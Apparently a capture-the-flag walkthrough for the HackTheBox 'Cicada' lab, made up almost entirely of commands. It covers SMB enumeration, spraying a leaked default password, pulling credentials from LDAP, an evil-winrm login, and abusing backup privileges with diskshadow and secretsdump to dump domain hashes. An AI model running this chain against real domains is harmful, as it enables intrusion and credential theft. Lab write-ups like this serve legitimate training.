Full Port Scan

$ nmap $IP -sV -T4 -n -Pn --max-rtt-timeout 1500ms --min-rate 1000 --max-retries 3 --open -p- -oA full_port_scan --stats-every=5s -vv

Domain Enum without credentials.

$ enum4linux-ng $IP

=============================================================

| Domain Information via SMB session for 10.129.231.149 |

=============================================================

[*] Enumerating via unauthenticated SMB session on 445/tcp

[+] Found domain information via SMB

NetBIOS computer name: CICADA-DC

NetBIOS domain name: CICADA

DNS domain: cicada.htb

FQDN: CICADA-DC.cicada.htb

Derived membership: domain member

Derived domain: CICADA

=====================================================

| Domain Information via RPC for 10.129.231.149 |

=====================================================

[+] Domain: CICADA

[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727

[+] Membership: domain member

$ sudo echo "$IP cicada.htb CICADA-DC.cicada.htb" | sudo tee -a /etc/hosts
 
$ smbclient -N -L //$IP

$ smbclient -N //$IP/HR

smb: \> get "Notice from HR.txt"

$ cat 'Notice from HR.txt'

<SNIP>

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

</SNIP>

$ netexec smb $IP -u 'guest' -p '' --rid-brute

users.txt

john.smoulder

sarah.dantelia

michael.wrightson

david.orelious

emily.oscars

$ netexec smb $IP -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

SMB 10.129.231.149 445CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

$ ldapsearch -x -H ldap://$IP -D 'michael.wrightson@cicada.htb' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb" "(objectClass=user)" sAMAccountName description

david.orelious:aRt$Lp#7t*VQ!3

$ smbclient //$IP/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'

emily.oscars:Q!3@Lp#M6b*7t*Vt

$ evil-winrm -i $IP -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv

Let's take the backup of system,sam and ntds.dit files.

$ reg save HKLM\SYSTEM SYSTEM.SAV
$ reg save HKLM\SAM SAM.SAV
$ Set-Content -Path "C:\Users\USERNAME\Documents\shadow.txt" -Value "set verbose on`r`nset metadata C:\Windows\Temp\meta.cab`r`nset context clientaccessible`r`nset context persistent`r`nbegin backup`r`nadd volume C: alias cdrive`r`ncreate`r`nexpose %cdrive% E:`r`nend backup`r`nexit"
$ diskshadow.exe /s shadow.txt
$ robocopy /B "E:\Windows\NTDS" . ntds.dit
$ impacket-secretsdump -ntds ntds.dit -system SYSTEM.SAV -hashes lmhash:nthash LOCAL